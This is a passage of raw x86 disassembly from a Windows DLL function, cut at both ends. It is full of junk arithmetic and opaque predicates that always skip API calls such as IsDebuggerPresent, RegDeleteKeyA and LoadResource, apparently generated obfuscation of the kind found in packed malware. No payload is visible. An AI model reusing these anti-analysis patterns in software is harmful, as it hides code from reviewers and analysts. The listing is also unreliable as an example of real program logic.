je 0x100140ae
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100140d4
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf90]
call fcn.100129c3
mov dword [eax], 0xadae8c9f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100140b6
xor eax, eax
mov dword [ebp - 0x24], 0x48c4
mov dword [ebp - 0x38], 0xc17c7747
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x44], eax
jmp 0x100140fb
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xbf4], 0xfffffff6
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x100140ea
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov ecx, dword [ebp - 0x24]
setl dl
sub ecx, edx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x5d09ea9
mov ecx, 0x6316
setg al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x24]
sub ecx, eax
add ecx, dword [ebp - 0x38]
je 0x1001420f
xor eax, eax
mov dword [ebp - 0x34], 0xa04f7772
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 4
jge 0x1001417c
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x738], 0xfffffff8
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 4
jl 0x10014163
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10014204
mov eax, dword [ebp - 0x24]
xor ebx, ebx
push 3
mov eax, dword [ebp + eax*4 - 0x738]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x72c]
mov eax, dword [ebp - 0x738]
mov eax, dword [ebp - 0xbf0]
mov eax, dword [ebp - 0x730]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x738]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x738]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
sete bl
xor edx, edx
cmp eax, 0x4ed0
mov eax, dword [ebp - 0x738]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xbf4]
setl cl
xor edx, edx
cmp ebx, ecx
pop ebx
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0xbf0], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10014184
jmp 0x10014250
mov dword [ebp - 0x3c], edi
lea ecx, [ebp - 0xee4]
push ebx
call fcn.10012956
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], eax
jmp 0x1001423d
push dword [ebp - 0x44]
call fcn.100129c3
mov dword [eax], 0xa6d786ff
inc dword [ebp - 0x44]
lea ecx, [ebp - 0xee4]
cmp dword [ebp - 0x44], ebx
jl 0x1001422c
inc dword [ebp - 0x4c]
call fcn.100129be
mov eax, dword [ebp - 0x18]
inc dword [ebp - 0x18]
cmp eax, 4
jne 0x1001425f
mov eax, edi
jmp 0x10014261
xor eax, eax
mov dword [ebp - 0x11f4], eax
lea ecx, [ebp - 0xf90]
or dword [ebp - 4], 0xffffffff
call fcn.100129be
push edi
lea ecx, [ebp - 0x32c]
call fcn.10012956
xor eax, eax
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], edi
jge 0x100142b1
push dword [ebp - 0x44]
lea ecx, [ebp - 0x32c]
call fcn.100129c3
mov dword [eax], 0x7e2799ac
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], edi
jl 0x10014293
xor eax, eax
push eax
lea ecx, [ebp - 0x32c]
call fcn.100129c3
mov dword [eax], 0xfffffffe
jmp 0x100142f9
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x100142d8
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
xor eax, eax
push eax
lea ecx, [ebp - 0x32c]
call fcn.100129c3
cmp dword [eax], 0
jne 0x1001430c
xor eax, eax
lea ecx, [ebp - 0x32c]
push eax
call fcn.100129c3
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x32c]
push eax
call fcn.100129c3
cmp dword [eax], 7
jl 0x100142c5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x32c]
call fcn.100129be
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x4c], ebx
push 0xfffffffffffffff9
mov dword [ebp - 0x34], 0xfd77ccca
pop eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10014354
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb0], 0x1d925b0e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001433c
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ebx
cmp dword [ebp - 0x14], ebx
jge 0x10014377
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x790], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1001435f
xor eax, eax
cmp dword [ebp - 0xb0], eax
jne 0x100143f0
mov ecx, dword [ebp - 0xb0]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0xb0]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xcd2466e9
setle cl
cmp eax, ecx
mov eax, dword [ebp - 0xb0]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x40]
jne 0x100143d5
mov edx, eax
cmp dword [ebp - 0x34], eax
je 0x100143d7
mov edx, edi
mov eax, dword [ebp - 0xb0]
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x34], ecx
jne 0x100143f0
xor eax, eax
jmp 0x100143f2
mov eax, edi
mov dword [ebp - 0x78c], eax
xor eax, eax
cmp dword [ebp - 0x78c], eax
je 0x1001442a
mov dword [ebp - 0x2c], 0xe1054d81
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1001441f
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x790], eax
jmp 0x1001443a
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1001443a
push eax
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [ebp - 0x30], 0x53d8da8e
lea ecx, [ebp - 0x4ac]
push ebx
call fcn.10012956
mov dword [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x38], 0x598aaf0a
mov dword [ebp - 0x4c], 0x7e7c14ab
mov dword [ebp - 0x4c], 0xdab551fa
mov dword [ebp - 0x4c], 0xfffffff8
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x4c], 0xdd2e91c8
mov dword [ebp - 0x4c], 0x38ca8c98
mov dword [ebp - 0x40], 0xc914a3a6
mov dword [ebp - 0x3c], 0x550e3526
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x100144b7
push dword [ebp - 0x44]
lea ecx, [ebp - 0x4ac]
call fcn.100129c3
mov dword [eax], 9
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x10014499
xor eax, eax
push eax
lea ecx, [ebp - 0x4ac]
call fcn.100129c3
xor eax, eax
lea ecx, [ebp - 0x4ac]
push eax
call fcn.100129c3
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x30]
push 0xfffffffffffffff9
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x30]
dec dword [ebp - 0x38]
pop eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c]
dec edx
cmp edx, eax
setge cl
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x34], edi
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0x1f90ef30
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x34]
jl 0x10014537
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10014537
push edi
lea ecx, [ebp - 0x4ac]
call fcn.100129c3
cmp dword [eax], 0
jne 0x10014537
xor eax, eax
jmp 0x10014539
mov eax, edi
mov dword [ebp - 0x34], eax
xor edx, edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setne dl
xor eax, eax
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], eax
je 0x1001456b
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10014581
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x1001457f
mov dword [ebp - 0x2c], 0xfff8
mov dword [ebp - 0x4c], 0xfa8fad74
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
xor eax, eax
push eax
lea ecx, [ebp - 0x4ac]
call fcn.100129c3
mov ecx, dword [ebp - 0x40]
or dword [ebp - 4], 0xffffffff
mov dword [eax], ecx
lea ecx, [ebp - 0x4ac]
call fcn.100129be
push 0xfffffffffffffff8
pop edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x2c], 0x5d06f629
mov dword [ebp - 0x1c], 0xfffffffb
jmp 0x10014610
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x4c], 0xaf1e2cd8
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
add eax, 0x4083d0a6
add eax, ecx
cmp eax, dword [ebp - 0x14]
jne 0x100145f2
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], edx
jg 0x100145be
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10014633
push 0x117c
push eax
push 0x1a01
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
xor eax, eax
mov dword [ebp - 0x24], 0x30f94f37
mov dword [ebp - 0x1c], 0x64de8cc1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1001465e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68], 0xcf57
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10014649
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1001467e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x140], 0x52324067
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10014666
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10014691
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x100147ef
mov eax, dword [ebp - 0x24]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x68], ebx
jne 0x100147ec
mov eax, dword [ebp - 0x24]
push 2
mov edx, dword [ebp + eax*4 - 0x68]
pop eax
sub edx, eax
mov eax, dword [ebp - 0x24]
sub edx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setl cl
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x68]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp eax, ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jne 0x10014701
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x68], ebx
jne 0x10014701
xor eax, eax
mov edx, eax
jmp 0x10014703
mov edx, edi
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x68]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x68]
setl dl
sub ecx, edx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x140], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x68]
add eax, ecx
je 0x10014739
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x68]
mov ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, 0xe2e0
setge dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x68]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setge cl
add ecx, dword [ebp + eax*4 - 0x68]
add ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg ecx
cmp ecx, dword [ebp + eax*4 - 0x68]
jle 0x1001478d
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x68], ebx
jne 0x1001478d
xor eax, eax
jmp 0x1001478f
mov eax, edi
neg eax
je 0x100147c0
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x100147e0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x140]
mov eax, dword [ebp - 0x24]
sub ecx, 3
mov dword [ebp + eax*4 - 0x140], ecx
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1001479d
jmp 0x100147de
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x100147de
push 0xd87
push eax
push eax
push eax
push 0x42c
push eax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x1001469d
push 2
pop ebx
push edi
lea ecx, [ebp - 0x3c8]
call fcn.10012956
xor eax, eax
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], edi
jge 0x1001482a
push dword [ebp - 0x44]
lea ecx, [ebp - 0x3c8]
call fcn.100129c3
mov dword [eax], 0x7e2799ac
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], edi
jl 0x1001480c
xor eax, eax
push eax
lea ecx, [ebp - 0x3c8]
call fcn.100129c3
mov dword [eax], 0xfffffffe
jmp 0x10014872
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10014851
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
xor eax, eax
push eax
lea ecx, [ebp - 0x3c8]
call fcn.100129c3
cmp dword [eax], 0
jne 0x10014885
xor eax, eax
lea ecx, [ebp - 0x3c8]
push eax
call fcn.100129c3
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x3c8]
push eax
call fcn.100129c3
cmp dword [eax], 7
jl 0x1001483e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c8]
call fcn.100129be
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x4c], 3
push 0xfffffffffffffff9
mov dword [ebp - 0x34], 0xfd77ccca
pop eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100148d1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb8], 0x1d925b0e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100148b9
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100148f1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x660], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100148d9
xor eax, eax
cmp dword [ebp - 0xb8], eax
jne 0x1001496a
mov ecx, dword [ebp - 0xb8]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0xb8]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xcd2466e9
setle cl
cmp eax, ecx
mov eax, dword [ebp - 0xb8]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x40]
jne 0x1001494f
mov edx, eax
cmp dword [ebp - 0x34], eax
je 0x10014951
mov edx, edi
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x34], ecx
jne 0x1001496a
xor eax, eax
jmp 0x1001496c
mov eax, edi
mov dword [ebp - 0x65c], eax
xor eax, eax
cmp dword [ebp - 0x65c], eax
je 0x100149a4
mov dword [ebp - 0x2c], 0xe1054d81
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10014999
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x660], eax
jmp 0x100149b4
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x100149b4
push eax
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [ebp - 0x30], 0x2799ac78
lea ecx, [ebp - 0x698]
push ebx
call fcn.10012956
xor eax, eax
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], ebx
jge 0x100149f6
push dword [ebp - 0x44]
lea ecx, [ebp - 0x698]
call fcn.100129c3
mov dword [eax], 0x914d2edc
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x100149d8
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10014a07
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xe
jge 0x10014a8d
mov dword [ebp - 0x14], 0xa9d19ac1
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], eax
jl 0x10014a5c
mov dword [ebp - 0x44], 0xf38c0887
mov dword [ebp - 0x44], edi
cmp dword [ebp - 0x44], eax
jl 0x10014a57
push dword [ebp - 0x14]
lea ecx, [ebp - 0x698]
call fcn.100129c3
push dword [ebp - 0x44]
lea ecx, [ebp - 0x698]
mov esi, eax
call fcn.100129c3
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x44]
jns 0x10014a2e
xor eax, eax
dec dword [ebp - 0x14]
jns 0x10014a1f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xa
jne 0x10014a81
push edi
lea ecx, [ebp - 0x698]
call fcn.100129c3
cmp dword [eax], 0
jne 0x10014a7f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xa
je 0x10014a65
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xe
jl 0x10014a10
push 8
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x698]
call fcn.100129be
mov dword [ebp - 0x14], 0xfffffffb
xor eax, eax
mov dword [ebp - 0x4c], 0x7f737a9a
mov dword [ebp - 0x14], eax
jmp 0x10014b78
push 5
pop eax
mov dword [ebp - 0x1c], eax
xor edx, edx
mov dword [ebp - 0x38], 0xdb959c45
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x40], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x14]
sub eax, 0x74ca1253
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x1c]
je 0x10014af8
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [ebp - 0x1c], 0xd2b5
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x34]
jl 0x10014b32
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10014b75
push eax
push 0x2570
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
jmp 0x10014b75
mov dword [ebp - 0x38], 0x2fa5d872
mov dword [ebp - 0x2c], 0x90638325
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x14]
jg 0x10014b6b
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], 0x3da99ca
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc
je 0x10014ab4
mov dword [ebp - 0x20], 0x53d8da8e
lea ecx, [ebp - 0x4dc]
push ebx
call fcn.10012956
mov dword [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x3c], 0xd327cb3f
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10014bbd
push eax
push 0x17ae
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10014bd0
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
xor eax, eax
mov dword [ebp - 0x40], 0x598aaf0a
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], edi
jge 0x10014c0f
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x80], edi
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], edi
jl 0x10014bfe
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xfffffff8
jge 0x10014cde